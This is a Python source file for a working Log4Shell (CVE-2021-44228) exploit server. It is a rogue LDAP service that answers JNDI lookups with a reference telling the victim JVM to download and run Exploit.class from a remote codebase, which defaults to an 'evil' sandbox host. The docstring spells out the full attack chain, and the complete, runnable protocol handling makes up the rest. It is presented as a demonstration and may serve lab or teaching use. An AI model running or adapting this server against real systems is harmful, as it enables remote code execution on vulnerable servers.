#!/usr/bin/env python3 """ Minimal LDAP server for CVE-2021-44228 (Log4Shell) demonstration. Attack chain: 1. Victim's Log4j processes ${jndi:ldap://exploit-server:1389/Exploit} 2. Log4j opens a TCP connection to this server 3. This server responds with a JNDI Reference: javaCodeBase = http://exploit-server:8888/ javaFactory = Exploit 4. The victim JVM fetches Exploit.class from the HTTP server 5. The victim JVM loads and executes Exploit's static initialiser Only two LDAP messages are handled: - BindRequest → BindResponse(success) - SearchRequest → SearchResultEntry + SearchResultDone """ import socket import threading import logging import os logging.basicConfig( level=logging.INFO, format="[LDAP %(asctime)s] %(message)s", datefmt="%H:%M:%S", ) log = logging.getLogger(__name__) # Where the victim JVM should download Exploit.class from CODEBASE_URL = os.environ.get("CODEBASE_URL", "https://evil.sandbox.librelab.online/") EXPLOIT_CLASS = os.environ.get("EXPLOIT_CLASS", "Exploit") LISTEN_PORT = int(os.environ.get("LDAP_PORT", "1389")) # ── BER/DER helpers ────────────────────────────────────────────────────────── def _enc_len(n: int) -> bytes: if n < 0x80: return bytes([n]) if n <= 0xFF: return bytes([0x81, n]) if n <= 0xFFFF: return bytes([0x82, n >> 8, n & 0xFF]) raise ValueError(f"Length too large: {n}") def tlv(tag: int, value: bytes) -> bytes: if isinstance(value, str): value = value.encode() return bytes([tag]) + _enc_len(len(value)) + value def sequence(data: bytes, tag: int = 0x30) -> bytes: return bytes([tag]) + _enc_len(len(data)) + data def integer(n: int) -> bytes: if n == 0: return b"\x02\x01\x00" byte_len = (n.bit_length() + 8) // 8 b = n.to_bytes(byte_len, "big") return b"\x02" + _enc_len(len(b)) + b def octet_string(s) -> bytes: if isinstance(s, str): s = s.encode() return b"\x04" + _enc_len(len(s)) + s def enumerated(n: int) -> bytes: return bytes([0x0A, 0x01, n]) # ── LDAP message builders ───────────────────────────────────────────────────── def bind_response(msg_id: int) -> bytes: """LDAPMessage { messageID, BindResponse(success) }""" op = sequence( enumerated(0) + # resultCode: success octet_string(b"") + # matchedDN octet_string(b""), # diagnosticMessage tag=0x61, # Application 1 — BindResponse ) return sequence(integer(msg_id) + op) def _ldap_attr(name: bytes, *values) -> bytes: """AttributeList entry: SEQUENCE { name, SET of values }""" vals = b"".join(octet_string(v) for v in values) return sequence(octet_string(name) + sequence(vals, tag=0x31)) def search_result_entry(msg_id: int) -> bytes: """SearchResultEntry with JNDI Reference attributes.""" attrs = ( _ldap_attr(b"javaClassName", b"foo") + _ldap_attr(b"javaCodeBase", CODEBASE_URL.encode()) + _ldap_attr(b"objectClass", b"javaNamingReference") + _ldap_attr(b"javaFactory", EXPLOIT_CLASS.encode()) ) entry = sequence( octet_string(b"cn=" + EXPLOIT_CLASS.encode()) + sequence(attrs), tag=0x64, # Application 4 — SearchResultEntry ) return sequence(integer(msg_id) + entry) def search_result_done(msg_id: int) -> bytes: """SearchResultDone(success)""" done = sequence( enumerated(0) + octet_string(b"") + octet_string(b""), tag=0x65, # Application 5 — SearchResultDone ) return sequence(integer(msg_id) + done) # ── Message parser ──────────────────────────────────────────────────────────── def parse_ldap_message(data: bytes): """ Returns (msg_id, op_tag) from the first LDAP message in *data*. Raises ValueError on malformed input. """ if not data or data[0] != 0x30: raise ValueError(f"Expected SEQUENCE (0x30), got 0x{data[0]:02x}") idx = 1 if data[idx] & 0x80: ll = data[idx] & 0x7F idx += 1 + ll else: idx += 1 # messageID INTEGER if data[idx] != 0x02: raise ValueError(f"Expected INTEGER (0x02), got 0x{data[idx]:02x}") mid_len = data[idx + 1] msg_id = int.from_bytes(data[idx + 2 : idx + 2 + mid_len], "big") idx += 2 + mid_len op_tag = data[idx] return msg_id, op_tag # ── Client handler ──────────────────────────────────────────────────────────── def handle_client(conn: socket.socket, addr): log.info(f"Connection from {addr[0]}:{addr[1]}") buf = b"" try: while True: chunk = conn.recv(4096) if not chunk: break buf += chunk # One recv may carry multiple messages; process them all. while buf: # Need at least 2 bytes to determine length field if len(buf) < 2: break # Calculate total message length idx = 1 if buf[idx] & 0x80: ll = buf[idx] & 0x7F if len(buf) < idx + 1 + ll: break # wait for more data total = idx + 1 + ll + int.from_bytes(buf[idx + 1 : idx + 1 + ll], "big") else: total = idx + 1 + buf[idx] if len(buf) < total: break # wait for more data msg, buf = buf[:total], buf[total:] try: msg_id, op_tag = parse_ldap_message(msg) except ValueError as e: log.warning(f"Parse error: {e}") buf = b"" break if op_tag == 0x60: # BindRequest log.info(f" BindRequest (msgId={msg_id}) → BindResponse(success)") conn.sendall(bind_response(msg_id)) elif op_tag == 0x63: # SearchRequest log.info(f" SearchRequest (msgId={msg_id}) → JNDI Reference") log.info(f" codeBase : {CODEBASE_URL}") log.info(f" factory : {EXPLOIT_CLASS}") conn.sendall(search_result_entry(msg_id)) conn.sendall(search_result_done(msg_id)) log.info(f" Victim JVM should now fetch {CODEBASE_URL}{EXPLOIT_CLASS}.class") else: log.warning(f" Unknown op tag 0x{op_tag:02x} — closing") break except Exception: log.exception("Error handling client") finally: conn.close() log.info(f"Connection closed from {addr[0]}:{addr[1]}") # ── Main ────────────────────────────────────────────────────────────────────── def main(): srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("0.0.0.0", LISTEN_PORT)) srv.listen(10) log.info(f"LDAP server listening on 0.0.0.0:{LISTEN_PORT}") log.info(f"Will redirect victims to: {CODEBASE_URL}{EXPLOIT_CLASS}.class") while True: conn, addr = srv.accept() t = threading.Thread(target=handle_client, args=(conn, addr), daemon=True) t.start() if __name__ == "__main__": main()